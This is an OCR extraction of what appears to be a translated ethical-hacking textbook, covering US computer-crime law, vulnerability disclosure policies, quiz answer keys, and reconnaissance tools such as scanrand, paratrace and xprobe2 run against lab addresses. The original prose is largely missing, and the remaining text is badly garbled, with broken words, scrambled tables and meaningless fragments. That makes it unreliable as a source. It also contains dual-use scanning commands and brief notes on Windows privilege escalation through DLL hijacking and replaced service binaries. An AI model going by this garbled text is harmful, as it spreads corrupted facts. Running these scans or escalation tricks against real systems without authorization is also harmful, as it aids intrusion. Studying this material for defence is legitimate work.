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[3] The Expanding Importance of the Computer Fraud and Abuse Act
www.gigalaw.com/articles/2001-all/burke-2001-01-all.html

2.1.3
5000
5000
CFAA
CFAA
eBay
eBay
80 000~100 000 eBay eBay
eBay

CFAA eBay



<

5000
2003 IT
300
113 113 M &a, KW
Acxiom 6
VS
CFAA
CFAA
5 25
/ 3

[1]
[2]
[3]
[4]

State Laws www.cybercrimes.net/State/state_index.html

Cornell Law University www4.law.cornell.edu/uscode/18/1030.html

Computer Fraud Working Group www.ussc.gov/publicat/cmptfrd.pdf
Computer World www.computerworl d.com/securitytopics/security/cybercrime/
story/0,10801,79854,00.html

31



32

2.1.4 18 USC Sections 2510 and 2701

Electronic Communication Privacy Act ECPA

CFAA ECPA Wiretap

Act Stored Communications Act
1918 ECPA
Al Gore
Al
/

Al

ECPA

cookie
20
cookie

Web cookie



cookie

ECPA

2000 9 11

9/11
2002

9/11

Pilon Cato Institute

”

Information Security Oversight Office
4450

2001~2003

Rick Blum

cookie

Roger

OoMB

33



34

Watch Government Secrecy Coordinator

e 2002

®

U] Dick Cheney

®

[1] U.S. Department of Justice www.usdoj.gov/criminal/cybercrime/usc2701.htm

[2] Information Security Oversight Office www.fas.org/sgp/isoo/

[3] Government secrecy growing since 9/11 terrorist attacks www.ballotpaper.org/
archives/000354.html

[4] Electronic Communications Privacy Act of 1986 www.cpsr.org/cpsr/privacy/
wiretap/ecpa86.html

2.1.5

Digital Millennium Copyright Act DMCA

DMCA

15
DMCA



[1]
[2]
[3]

[4]
5]

DMCA

DMCA

DMCA

Digital Millennium Copyright Act Study www.copyright.gov/reports/studies/
dmca/dm ca_study.html

Copyright Law www.copyright.govi/title 17 and http://news.com.com/
2100-1023-945923. html?tag=politech

Primer on DMCA www.arl.org/info/frn/copy/primer.html

Status and Analysis www.arl.org/info/frn/copy/dmca.html

Trigger Effects of the Internet www.cybercrime.gov

2.1.6 2002

“ ” 2002 7
2002

35



36

2.2

Patriot Act

Freedom of Information Act



2.2.1

Q)]

. CERT

NoWaySecure Inc

rootkit

37



38

Tom

4. Tom
A. 18 USC Section 1030 $50 000
$100000 / 20
B. 18 USC Section 1029 $50 000
$100000 / 20
C. 18 USC Section 1029 $100 000
$100000 / 20
D. 18 USC Section 1030 $100 000
$100000 / 20
5.
A. $5 000 B.
C. $20 000 D.
6. Electronic Communication Privacy Act
A. Wiretap Act
Stored Communications Act
B. Wiretap Act
Communications Act
C. Wiretap Act
Computer Fraud and Abuse Act
D. Wiretap Act
7.
A. / 5
B. 1 5
C. / 2
D. 5 5

ECPA

10

10

15
15
15
15
Stored
18 USC Section 1029



8.
A. Computer Fraud and Abuse Act
B. Digital Millennium Copyright Act
C. 18 USC Section 1029
D. Electronic Communication Privacy Act
2.2.2
1A
rootkit “ !
CERT
2.D
3. A
FBI
Computer Fraud and Abuse Act
4. B 13 ”
access device
PIN
18 USC Section 1030
Computer Fraud and Abuse Act CFAA
5 A $5000

CFAA
CFAA

39



40

18 USC Section 1029

Digital Millennium Copyright Act DMCA
“ 8 18 USC Section 1029

Wiretap Act Stored

Communications Act



®CERT

CERT

FullD Bcbsure Polcy
OF ]

0K Omankaton orhemetSafty

RanForestPuppy Polcy

Symantec

Witty. A

Blaster

50

DCOM



42

3.1

Bug



Bugtrag
Bugtrag
2002
Apache Web
Consortium  BIND 1SS
ISS

Internet Security Systems  ISS

Solaris X Windows

Internet Software
Sun Microsystems
Apache

43



3.2 CERT

CERT Coordination Center CERT/CC CERT/CC

CERT/CC 1988
2000
o CERT/CC 45
e CERT/CC
o CERT/CC
o 45 CERT/CC
CERT/CC
45
CERT/CC
CERT/CC

CERT

CERT/CC



CERT/CC
e CERT/CC
[ CERT/CC
®
CERT CERT Bug
oIS CERT
3.3 RainForest Puppy
RainForest Puppy Policy RFP 2
CERT/CC

security-alert@ [maintainer]
secure@ [maintainer]
security@ [maintainer]
support@ [ maintainer]

CERT

45



46

info @ [maintainer]

° 5
7:00
®
° 5
®
®
®
RainForest Puppy
Bug

RFP

10:00

10:00

Bug

RFP



3.4

CERT RFP
ols

Organization for Internet Safety OIS
oIs @stake BindView Corp The SCO Group
Foundstone Guardent Internet Security Systems Microsoft Corporation Network Associates
Oracle Corporation SGI  Symantec OIS

oIs

oIS .

1
2.
3.
4.

47



48

3.4.2

v v v v v

VSR
/
abuse@ [vendor]
postmaster@ [vendor]
sales@ [vendor]

info @[vendor]
support@ [vendor]

Vulnerability Summary Report

oIS

VSR

oIS



oIS

v v v v v

VSR

abuse@ [vendor]
postmaster@ [vendor]
sales@ [vendor]

info @[vendor]
support@ [vendor]

VSR

Request for Confirmation of Receipt RFCR  RFCR

oIS

oIS

3 RFCR

RFCR

RFCR

RFCR

VSR

VSR

VSR

49



50

ols

3.4.3

VSR

ol

RFS

A wbdh PR

S

VSR

oIs

VSR

RFS

VSR

FTP
Request for Status  RFS

ols



VSR

51



52

3.4.4

VSR

oIS



VSR

30

30

oIS

53




54

—

3.4.5

oIS

3.5

oIS

oIs

ols



3.6

3.6.1

Bug

Bug

55



56

Oulu
Process”

AV Product Developers Consortium

“ Communication in the Software Vulnerability Reporting

50% 20%



A wDdh PR

Resolving Vulnerability Cases’

* The Vulnerability Process : A Tiger Team Approach to

“ Tiger Team”

“ Tiger Team”

© O N O~ wDdRE

e
= O

57



58

“ Tiger Team”

“ Tiger Team”



3.6.2

3.7

Bug

59



60

iDefense

iDefense
iDefense

iDefense

Bug

Bug

Bug
Bug

2002

8

Vulnerability Contributor Program VCP

Bug



3.8

[1]

[2]

[3]
[4]

5]
[6]

[7]
(8]

[9]
[10]

61

"Guidelines for Security Vulnerability Reporting and Response"; Organization for —
Internet Safety, version 1; July 28, 2003

"Full Disclosure Policy (RFPolicy) v2"; Digital Prankster; www.wiretap.net/rfp/
policy.html

"The CERT/CC Vulnerability Disclosure Policy"; www.cert.org

"A Trend Analysis of Exploitations'; Brown, Arbaugh, McHugh, Fithen; November 9,
2000

"Introducing Constructive Vulnerability Disclosures'; Laakso, Takanen, Roning
"Communication in the Software Vulnerability Reporting Process"; Havana, Roning;
June 2003

"Full Disclosure"; Information Security; Kabay; May 2000

"The Vulnerability Process. A Tiger Team Approach to Resolving Vulnerability Cases';
Laakso, Takanen, Roning; June 1999

"Windows of Vulnerahility: A Case Study Analysis"; Arbaugh, Fithen, McHugh; 2000
"The Security of Applications: Not All Are Created Equal”; @Stake; Jaquith;

February 2002

Bug
Bug



62

3.8.1

A. B

C. D

A.

B.

C. 13 ”

D.

CERT

A.7 B. 14

RFP

A. Request for Proposd
C. Requirement for Presentation

A. ISC 2 B. CERT

ols

A. B.VSR

C.45 D. 90
RFP
B. RainForest Puppy
D. Requisition for Proposa
1

2

C.ISS D. OIS

C.NDA D. ETAR



3.8.2

A. CERT

A. OIS

C CERT

B. OIS

B. Microsoft

B RainForest Puppy RFP

D Organization for Internet Safety

ISC 2

ETAR

CISSP

C.FCC D. RFP
Bug
C. iDefense D.FCC
45
RFP
Bug
CERT

VSR VSR

/ VSR
NDA

63



64
7. D RFP 5
5
CERT/CC 45
ols VSR 30
FCC Federal Communications Commission
8. C iDefense

Organization for Internet Safety OIS
Microsoft
FCC Federa Communications Commission






M |

H AH A A

root



68
4.1

ISS Nessus Retina

Red Teaming
IDS
4.1

Core

IMPACT



69

4.1

[1] Christopher Peake, "Red Teaming: The Art of Ethical Hacking"
[2] www.giac.org/practical/GSEC/Christopher_Peake GSEC.pdf
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dmitry
GrayHat-1> ./dmitry -iwns mt. edu
dmitry mit.edu.txt MIT
Ping
scanrand
SNMP IP
TCP 139 IP Windows
banner

NetBIOS
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CEO
Excel

Administrator root

[1]

[2]
[3]

4.3.4

E-mail

Dave Burrows, "Introduction to Becoming a Penetration Tester"

www.sans.org/rr/penetration/101.php

Dmitry Homepage  www.deepmagic.org/tools.htm

Scott Granneman, "Googling Up Passwords"
columnists/224/

www.securityfocus.com/printabl e/
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THC

Linux CD

THC Scan

pcAnywhere

usB



CD

Administrators

“ ILOVEYOU”

Domain Administrators

IDS

CERT
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4.3.5

Unix

InCtrl5
Tripwire

79

Nmap IP
Windows
Windows
PC Magazine InCtrl5 5
Windows
Unix  Linux

Program Files
HKCU
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Windows Sysinternas 3 Filemon Regmon  Process
Explorer Filemon Regmon
Process Explorer DLL Process
Explorer netstat
Sysinternals
Filemon
Options | Filter/Highlight
Ctrl+L Include *
Regmon 4.2
Regmon Filter,
E Itiple fil h stri d by the '’ ch
aT:Jﬁéll:-:naL:Ctll_pe ilter match stings separated by the '’ character. ™ iz
Include: | EATYaN=R= v [ﬂj
Exnclude: v
Highlight: W
Log Opens: [+ LogReads [¥] LogSuccesses [ @ ———
Log'wiites:  [v] LogEmors [+] lﬂj
4.2 Regmon
Sysinternals  Process Explorer netstat-ano
M rcrosoft
V BD SQ L Server
sa SQL Server M SDE



SQ L Sknmer L nux W eb
BBS
Regmon Filemon
Filemon Regmon
MP3
Isof

Lhux Unk kof

W ndows kof L 5t0 pen Fiks

http 7/freshm eatnet/profct/ b0/ kof

Bug
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Web Web

& & MakeMeAdmin.cmd
MakeM eAdmin.cmd

Local System



LocalSystem Unix/Linux

Windows

A B B

A B
Name Squatting Windows
M S00-053
ACL
ACL
Jocal
myapp.exe.local DLL
HKLM\SY STEM\CurrentControl Set\Control\Session Manager\KnownDLLs
DLL System32 DLL
DLL DLL DLL
DLL
DLL
MakeMeAdmin.exe
MyGreatService.exe \Program Files\MyGreatService\
MyGreatService.exe

MyGreatService.bak MyGreatService.exe
MyGreatService MyGreatService

MyGreatService
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Bug

Bug

[1] Greg Hoglund and Gary McGraw, Exploiting Software: How to Break Code
(Addison-Wesley Professional, 2004)
[2] Michael Howard and David LeBlanc, Writing Secure Code (Microsoft Press, 2003)

4.3.6



4.4

dmitry

CEO

CEO

DCOM

LocalSystem
CEO
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44.1

A B. C
A B. C
A.

B. 13 ”
C.

D.

A. B.
C / D.
A.TCP UDP

B.

C. Google Netcraft

D.

>
w

C. D

A. B.

C. D.
Sysinternals

A. THC Scan B. dmitry C. Filemon



4.4.2
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B A
C
D
B A
C D N
C
A B D
C
A B
D
C Google whois  Netcraft
A B
D
C Bug A B
Bug D
D
A B C
C Filemon Sysinternals Sysinternals Regmon  Process Explorer
A THC Scan The
Hacker's Choice B dmitry  James Greig D

Filemon Sysinternals



> Paketib Keretsu (scanrand, paratrace)
> Xprobe?2

> pof

> am ap

> W hfngemprnt

>
> ettercap

> dsniff

> SMBAANMAN credentialsniffing
> kerbsnifikerbcrack

nmap NetCat Snort tcpdump Ethereal



5 1 13 ”n
TCP
nmap Xmastree NULL
1.
2.
3.

5.1.1 Paketto Keiretsu scanrand paratrace

Dan Kaminsky Effugas 2002
TCP/IIP

e scanrand TCP
® minewt NAT
e Jinkcat NetCat

e paratrace traceroute
e phentropy

scanrand  paratrace
1. scanrand

Web TCP
scanrand

SYN

Paketto Keiretsu

stdin

traceroute

Paketto Keiretsu

Paketto Keiretsu
B

89



90

65 000 Web 4s 8000
scanrand
SYN SYN/ACK ICMP RST/ACK
SYN
SYN

RFC TCP TCP 11
LISTEN SYN-SENT SYN-RECEIVED ESTABLISHED FIN-WAIT1
FIN-WAIT2 CLOSE-WAIT CLOSING LAST-ACK TIME-WAIT CLOSED

SYN/ACK ICMP SYN
TCP
SYN/ACKS ICMP
SYN scanrand
scanrand
scanrand SYN Effugas
“ SYN cookie”
SYN cookie TCP
TCP TCP SN SN
32 ISN A
SYN 32 ISN
B A ACK
ISN+1 AN ACK B ISN B
ACK ISN+1
5.1
5.2 Etheredl TCP A
192.168.100.100 ISN 666909637 B 192.168.100.50 B
SYN/ACK ISN 973799993 AN A ISN+1
666909638 A B ACK B

ISN+1 973799994



TCP “ "

51 TCP ISN

<caplure> - Ethereal M=)
File Edi Caplue Display Tools Help
No.. [Time  [Source [Destination [Protocol_[info \

152.168.100. 50 TCR 4194 > MTtp [5TN] 524-666909637 ACK=0 win=64240 Len=0
192.168.100.100 http > 4104 [SYN, ACK] S 795553
> &

1 0.000000 192.168.100.100
2 0. 1 100. 50

1 0Q

4 T

803638 win=17520 Len=0

Ler

HFrame 3 (66 bytes on wire, 66 bytes captured)

@Ethernet II, Src: 00:e0:29:9d:26:13, Dst: 00:0c:29:ba:l0:7§

Internet Protocol, Src Addr: 162.168,100.100 (192.168.100.1000, Dst addr: 192.168.100.50 (192.168.100.50)
BTransmission Control Protocol, Src Port: 4184 (41940, Dst Port: http (80), Seq: 666509638, Ack: 973799994, Len: 0
| source port: 4194 (4134)

Foestination port: http (807

|Sequence number : 666309638

tacknowledgemant number: 973799954

fHeader length: 32 bytes

=)

Flags: 0x0010 (ACK)
Q e

urgent

Push:
Reset:

I NOT set

Acknowledgment: Sat

NOt set
NOT zEt

P o |
Fwindow size:

syn:
Fin:

NOt set
MOt set

64240

options: (12 bytes)

| checksum: 0x18ac (correct)

= congestion window Reduced (CwR): Not set
ECh-Echa: Not set

0000 00 D 29 ba 10 75 00 20 29 od 29 13 08 Q0 45 00
0010 00 34 3 93 40 00 80 06 bd 48 cO a8 64 64 <0 aB
0020 84 32 10 62 00 50 27 <0 3b <6 3a Ob 02 3a 80 10
0030 fa fO 16 ac 00 00 01 01 0B Da 00 68 68 53 00 00

[y —

Filter: |

J Reset| Apply |FI|E. <capture> Drops: 0

52 TCP

Ethereal
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SYN ISN AN
SYN/ACK
SYN
SYN SYN/ACK
scanrand SYN
ISN IP IP
32 ISN
scanrand  SHA-1 160 32
SYN TCP ISN SYN cookie
scanrand AN 1
scanrand
SYN
scanrand
-b<bandwidth> scanrand x B/KB/MB/GB scanrand
-b 10M 10Mbps quick
[root @xayHat root]# scanrand -b10M 192. 168. 100. 50: qui ck
UP: 192.168. 100. 50 443 [01] 0.027s
UP: 192.168. 100. 50 445 [01] 0.139s
unoB: 192.168.100.50 53 [01] 0.153s {192. 168.100. 66 -> 192. 168. 100. 50}
UP: 192.168.100.50 21 [01] 0.394s
UP: 192.168.100.50 25 [01] 0.575s
UP: 192.168.100.50 135 [01] 0.678s
UP: 192.168.100.50 139 [01] O0.761s
UP: 192.168.100.50 110 [01] 0.910s
UP: 192. 168. 100. 50 143 [01] 1.042s
UP: 192.168. 100. 50 993 [01] 1.221s
scanrand
e UP SYN/ACK
e DOWN RST/ACK



o un##

o HH#H

RST/ACK

[ r oot @ ayHat

UP,
UP,
UP,
DOMN
DOMN
DOMN

quick

[ root @ ayHat
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:

18
18
18
18
18
18
18.
18.
18.
18.
18.
18.
18.
18.
18.

8B

RST/ACK

192.
192.
192.
192.
192.
192.

181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.

0

CLOLOLLLLLO0000

168.
168.
168.
168.
168.
168.

ICMPtype 3

ICMPtype 11

un01

ICMP

80
80
80
80
80
80
80
80

- 80
1443
1139
122
121
123

o1 o1 oo o1 Ol

[22]
[23]
[ 26]
[ 23]
[ 23]
[ 26]
[ 23]
[22]

443 [ 22]

53
53
53
53
53

0.1:22

[ 26]
[ 26]
[ 26]
[ 22]
[22]
[22]

[01]
[01]
[01]
[01]
[01]
[01]

0. 631s
0. 725s
0. 832s
1.070s
1. 157s
1. 158s
1. 459s
1.551s
6.797s
16. 804s
16. 869s
16. 905s
16. 970s
17. 052s
21.477s

root]# scanrand -e 192.
100.
100.
100.
100.
100.
100.

O O OO0 O0o0Oo

un03
RFC 792
scanrand tracerouting
ICMP
ICMP IP
IP  scanrand ICMPtype3 typell
-e
168. 100. 5: squi ck
. 083s
. 085s
. 149s
. 152s
. 299s
. 402s
scanrand
C TCP

root]# scanrand - b600k
24:
27:
29:
31:
33:
34.
44.
45:
45:
29:
32:
34.
36:
38:

18. 181. 0. 1- 254: qui ck
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UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:
UP:

Kbps

18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.
18.

181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
181.
: 181. 0.
[ r oot @ ayHat

0.
0.
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0.
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0

0

scanrand
scanrand

2:23
3:23

.19:
.19:
.22
. 22:
. 23:
. 23:
. 24:
. 24
. 25:
. 25:
. 26:
. 26:
. 27:
.27
. 28:
. 28:
. 29:
29:
. 29:
. 31:
. 31:
. 32:
. 32:
. 32:
. 33:
. 33:
. 34
. 34
. 34
. 36:
. 38:
. 40:
. 40:
.41
.41
.44
.44
45:

22
23
22
23
22
23
22
23
22
23
22
23
22
23
22
23
21
22
23
22
23
21
22
23
22
23
21
22
23
22
22
22
23
22
23
22
23
22

[23]
[ 23]
[22]
[22]
[22]
[22]
[22]
[22]
[22]
[22]
[ 23]
[ 23]
[22]
[22]
[23]
[23]
[22]
[22]
[ 26]
[ 26]
[ 26]
[23]
[ 23]
[ 26]
[ 26]
[ 26]
[23]
[23]
[ 26]
[ 26]
[ 26]
[ 22]
[22]
[22]
[22]
[22]
[22]
[ 23]
[23]
[22]

root]#

21.
21.
23.
23.
23.
23.
23.
23.
23.
23.
23.
23.
23.
23.
24,
24.
24.
24.
24.
24.
24,
24.
24.
24.
24.
24.
24,
24.
24.
24.
24.
24.
25.
25.
25.
25.
25.
25.
25.
25.

579s
800s
090s
161s
439s
450s
530s
530s
617s
686s
807s
810s
961s
967s
091s
091s
201s
201s
253s
281s
281s
495s
497s
555s
609s
631s
697s
751s
751s
759s
782s
956s
158s
305s
367s
402s
466s
800s
813s
876s

T3

600



scanrand MIT.edu 22~26
scanrand
ARP 4 1
254 3
scanrand
scanrand quick squick known all

e squick Superquick: 80,443 139 21 22 23
e quick Quick: 80 443 445 53 20~23 25 135 139 8080 110 111 143
1025 5000 465 993 31337 79 8010 8000 6667 2049 3306

e known IANA nmap-services
1150

e all 0~ 65535 65 536

scanrand -b

-b  scanrand

scanrand
scanrand -L
-S
SYN cookie
-s <seed value>
GrayHatl GrayHat2 scanrand  “
" GrayHatl [P 192.168.100.79 GrayHat2
IP

[root @rayHat1 root]# scanrand -t0 -L -s ny-seed-value &
[1] 7513
[root @xayHat1 root]#

95



-t0 scanrand
60s

IP 192.168.100.79

192.168.100.5
[root @xayHat2 root]# scanrand -S -b 1m-s ny-seed-val ue -i 192.168. 100. 79
192. 168. 100. 5: qui ck

[root @xayHat1 root]#

[root @xayHat1l root]# UP: 192. 168. 100. 5: 80 [01] 21.713s
UP: 192. 168. 100. 5: 443 [01] 21.783s
UP: 192. 168. 100. 5: 135 [01] 21.999s
UP: 192. 168. 100. 5: 139 [01] 22.058s
21s
scanrand
scanrand
TCP/IP
5.1.2 paratrace
traceroute Windows ICMP tracert TCP/IP
paratrace  parasitic traceroute
Unix/Linux traceroute traceroute IP
TTL 1 UDP UDP 33435
UDP 33436 33437
TTL TTL TTL =1
TTL =2
TTL 1 TTL 0

TCP/IP
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ICMP type 11 code 0
UDP traceroute ICMPtype 11 IP
Unix/Linux traceroute -n IP DNS -ql
TTL
[root @ ayHat root]# traceroute -ngl 192.168.6.1
traceroute to 192.168.6.1 (192.168.6.1), 30 hops max, 38 byte packets
1 192.168.100.254 1.248 ns
2 192.168.1.2 4.648 ns
3 192.168.6.1 3.135 ns N

tcpdump

tcpdump: listening on ethO

07:19: 03. 192441 192. 168. 100. 66. 1234 > 192.168. 6. 1. 33435: [udp sum ok] udp 10

[ttl 1] (id 56426, |len 38)

07:19: 03.195891 192. 168. 100. 254 > 192. 168. 100. 66: icnp: time exceeded in-transit

[tos OxcO] (ttl 64, id 61767, |len 66)

07:19: 03. 386809 192. 168. 100. 66. 1234 > 192. 168. 6. 1. 33436: [udp sumok] udp 10 (ttl 2, id
56427, |len 38)

07:19: 03. 396459 192.168.1.2 > 192.168.100.66: icnp: tinme exceeded in-transit

[tos OxcO] (ttl 63, id 26846, |en 66)

07:19: 03.570611 192. 168. 100. 66. 1234 > 192. 168. 6. 1. 33437: [udp sumok] udp 10 (ttl 3, id
56428, |en 38)

07:19: 03. 579167 192.168.6.1 > 192.168. 100. 66: icnp: 192.168.6.1 udp port 33437
unreachabl e [tos OxcO] (ttl 62, id 12343, |len 66)

TTL Exceeded typell 192.168.100.254 192.168.1.2
ICMP type3 code3
Windows traceroute tracert
TTL ICMP Echo Requests UDP

UDP ICMP Echo Reguests

ICMP  UDP

Dan Kaminsky paratrace traceroute
paratrace
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TCP
TCP 80 Web 80
paratrace TCP/IP
paratrace TCP TCP
TCP paratrace TCP
IP TTL 1
ICMPTTL TCP
paratrace
ICMPTTL ICMP
53
EthO: Ethl: EthO: Ethl: EthO: Ethl:
192.168.100.254  192.168.1.1 R 192.168.2.2 192.168.6.1 192.168.6.2 192.168.8.1
. R . .
7 TR 7 7
A7 Web
192.168.100.66 192.168.8.100
EthO: Ethl:
192.168.1.2  192.168.2.1
5.3
traceroute Web
192.168.8.100

[root @xayHat root]# traceroute -n 192.168. 8. 100
traceroute to 192. 168. 8. 100 (192.168. 8. 100), 30 hops max, 38 byte packets

1 192.168.100.254 (192.168.100.254) 4.249 nms 9.851 ms 2.999 ns

2 * * *

3 * * *

4 * * *

5 * * *

6 * * *
traceroute 192.168.100.254

UDP UDP
paratrace Web HTTP
TCP 80 Web 192.168.8.100
paratrace HTTP
TCP 25 SMTP



netcat  telnet paratrace TCP

[root @xayHat root]# paratrace 192.168.8.100

Waiting to detect dttachable TCP Connection to host/net 192.168.8.100
192. 168. 8. 100: 80/ 32 1-8

001 = 192.168.100.254|80 [01] 11.650s (192.168.100.66 -> 192.168. 8.100)

002 = 192.168.1.2) SO [01] 11.650s (192.168.100.66 -> 192. 168. 8. 100)
003 = 192.168.2.2) SO [02] 11.730s (192.168.100.66 -> 192. 168. 8. 100)
004 = 192.168.6.2| 80 [03] 11.750s (192.168.100.66 -> 192. 168. 8. 100)
UP: 192.168.8.100:80  [04] 11.786s
paratrace 4
192.168.1.2 tcpdump paratrace
Berkeley Packet Filter BPF Web 80 ICMP 9 1

[root @xayHat root]# tcpdunp -nv port 80 or ip[9]=1

tcpdunp: listening on ethO

06: 34:51. 181220 192. 168. 100. 66. 3642 > 192. 168. 8. 100. http: S [tcp sum oK]
3270151112: 3270151112(0) wi n 5840 <nss 1460, sackCK, ti nmest anp 35440328 0, nop,
wscale 0> (DF) [tos Ox10] (ttl 64id 19712, |len 60)

TCP SYN

06: 34: 51. 419759 192. 168. 8. 100. http > 192. 168. 100. 66. 3642: S [tcp sum oK]
3070906650: 3070906650(0) ack 3270151113 win 17520 <mss 1460, nop, wscal e
0, nop, nop, ti nestanp 0 O, nop, nop, sackCK> (DF) (ttl 124, id 34801, len 64)

TCP SYN/ACK

06: 34: 51. 419925 192. 168. 100. 66. 3642 > 192. 168. 8. 100. http: . [tcp sumok] ack
1 wi n 5840 <nop, nop, ti nest anp 35440352 0> (DF) [tos Ox10] (ttl 64, id 19713,
I en 52)

TCP ACK

06: 34: 57. 386182 192. 168. 100. 66. 3642 > 192. 168. 8. 100. http: P [tcp sum ok]
1:3(2) ack 1 wi n 5840 <nop, nop, ti nestanp 35440949 0> (DF) [tos 0x10] (ttl
64, id 19714, len 54)

HTTP

06: 34: 57. 699062 192. 168. 8. 100. http > 192. 168. 100. 66. 3642: . [tcp sumok] ack
3 win 17518 <nop, nop, ti nestanp 4652470 35440949> (DF) (ttl 124, id 34802,
| en 52)
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100
HTTP
06: 34: 58. 045436 192. 168. 100. 66. 3642 > 192. 168. 8. 100. http: . [tcp sumok] ack
1 win 17518 <nop, nop, ti mest anp 4652470 35440949> (DF) [ttl 1] (id 1, |l en 52)
paratrace TTL1
06: 34: 58. 047061 192. 168. 100. 66. 3642 > 192. 168. 8. 100. http: . [tcp sumok] ack
1 win 17518 <nop, nop, ti nest anp 4652470 35440949> (DF) (ttl 2, id 2, len 52)
paratrace TTL 2
06: 34: 58. 059016 192. 168. 100. 254 > 192. 168. 100. 66: i cnp: ti me exceededin-transit
[tos OxcO] (ttl 64, id 41512, |len 80)
06: 34: 58. 059021 192. 168. 1. 2 >192. 168. 100. 66: i cnp: ti me exceededin-transit
[tos OxcO] (ttl 63, id 39270, |en 80)
06: 34: 58. 070345 192. 168. 100. 66. 3642 > 192. 168. 8. 100. http: . [tcp sumok] ack
1 win 17518 <nop, nop, ti nest anp 4652470 35440949> (DF) (ttl 3, id 3, len 52)
paratrace TTL3
06: 34:58. 074176 192. 168. 100. 66. 3642 > 192. 168. 8. 100. http: . [tcp sumok] ack
1 win 17518 <nop, nop, ti nest anp 4652470 35440949> (DF) (ttl 4, id 4, len 52)
paratrace TTL4
06: 34: 58. 075771 192. 168. 100. 66. 3642 > 192. 168. 8. 100. http: . [tcp sumok] ack
1 win 17518 <nop, nop, ti nest anp 4652470 35440949> (DF) (ttl 5, id 5, len 52)
paratrace TTLS5
06: 34: 58. 076156 192. 168. 100. 66. 3642 > 192. 168. 8. 100. http: . [tcp sumok] ack
1 win 17518 <nop, nop, ti nest anp 4652470 35440949> (DF) (ttl 6, id 6, |en 52)
paratrace TTL6
06: 34: 58. 076808 192. 168. 100. 66. 3642 > 192. 168. 8. 100. http: . [tcp sumok] ack
1 win 17518 <nop, nop, ti nest anp 4652470 35440949> (DF) (ttl 7, id 7, len 52)
paratrace TTL7
06: 34:58. 077105 192. 168. 100. 66. 3642 > 192. 168. 8. 100. http: . [tcp sumok] ack
1 win 17518 <nop, nop, ti mest anp 4652470 35440949> (DF) (ttl 8, id 8, len 52)



paratrace TTL 8

06: 34: 58. 139041 192. 168. 2. 2 >192. 168. 100. 66: i cnp: ti me exceededin-transit
[tos OxcO] (ttl 62, id 12301, |len 80)

3

06: 34: 58. 159063 192. 168. 6. 2 >192. 168. 100. 66: i cnp: ti me exceededin-transit
[tos OxcO] (ttl 61, id 51953, |len 80)

4

06: 34: 58. 189026 192. 168. 8. 100. htt p > 192. 168. 100. 66. 3642: . [tcp sumok] ack
3 win 17518 <nop, nop, ti mestanp 4652471 35440949> (DF) (ttl 124, id 34803,

l en 52)
HTTP

06: 34: 58. 189031 192. 168. 8. 100. http > 192. 168. 100. 66. 3642: . [tcp sumok] ack
3 win 17518 <nop, nop, ti mestanp 4652471 35440949> (DF) (ttl 124, id 34804,

| en 52)
HTTP
paratrace TCP 8 TTL 1 8
4 paratrace
TTL 64 TTL
64 paratrace paratrace
TTL -s<number_of hops>
paratrace n
ICMP paratrace ICMP
ICMP type O type 11 TTL
paratrace traceroute Dan Kaminsky

[1] Paketto Keiretsu Source Code  www.doxpara.com/paketto-2.00pre3.tar.gz
[2] Paketto Keiretsu scanrand sample output  www.doxpara.com/read.php/docs/
scanrand_logs.html
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www.sans.org/resources/idfag/

“ brand X”

amap

[3] Paketto Keiretsu paratrace sample output ~ www.doxpara.com/read.php/docs/
paratrace.html
[4] Paketto Keiretsu Hivercon Presentation  www.doxpara.com/Black _Ops Hivercon
Final.ppt
[5] SANS Ingtitute Paper, "What is scanrand?'
scanrand.php
[6] "paratrace Analysisand Defense”  www.giac.org/practical/GCIH/David_Jenkins
GCIH.pdf
5.2
pOf
IDS
“ brand X”
RFC TCP
TCP TCP /

ICMP
“ ICMP Usage in Scanning”

Ofir Arkin  xprobe



nmap ICMP
xprobe2
5.2.1 xprobe2
TCP
xprobe2 X Project ICMP TCP
UDP Fyodor Yarochkin  Ofir Arkin 2001
Xprobe2
ICMP TCP/UDP
IDS xprobe2
/ IDS
xprobe2 “ !
xprobe2 Xprobe2
“ 70% Windows 2000 Server SP2”  “ 55% Windows NT Server SP3"
xprobe2 xprobe2 <IP address>
Windows NT 4 Workstation SP6a
Xprobe2

[root @ ayHat root]# xprobe2 192.168.100.5

Xprobe2 v. 0.2 Copyright (c) 2002-2003 fygrave@igerteamnet, ofir@ys-
security.com meder @reopag. net

[+] Target is 192.168.100.5

[+] Loadi ng nodul es.

[+] Followi ng nodul es are | oaded:

[x] [1] ping:icnp_ping - |CMP echo discovery nodul e

[x] [2] ping:tcp_ping - TCP-based ping di scovery nodul e

[x] [3] ping:udp_ping - UDP-based ping discovery nodul e

103
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[x] [4] infogather:ttl_calc - TCP and UDP based TTL di stance cal cul ati on
[x] [5] infogather:portscan - TCP and UDP Port Scanner

[x] [6] fingerprint:icnp_echo - |CWMP Echo request fingerprinting nodul e
[x] [7] fingerprint:icnp_tstanp - | CGWP Ti mestanp request fingerprinting modul e
[x] [8] fingerprint:icnp_amask - | QWP Addr ess mask request fingerprinting modul e
[x] [9] fingerprint:icnmp_info- |CW Information request fingerprinting modul e
[x] [10] fingerprint:icnp_port_unreach - |CW port unreachabl e fingerprinting
nmodul e

[x] [11] fingerprint:tcp_hshake - TCP Handshake fingerprinting nodul e

[+] 11 nodul es registered

[+] Initializing scan engine

[+] Runni ng scan engi ne

[-1 ping:tcp_ping nodul e: no cl osed/ open TCP ports known on 192.168. 100. 5.
Modul e test failed

[-1 ping:udp_ping nodul e: no cl osed/ open UDP ports known on 192.168. 100. 5.
Modul e test failed

[+] No di stance cal cul ati on. 192. 168. 100. 5 appears t o be dead or no ports known
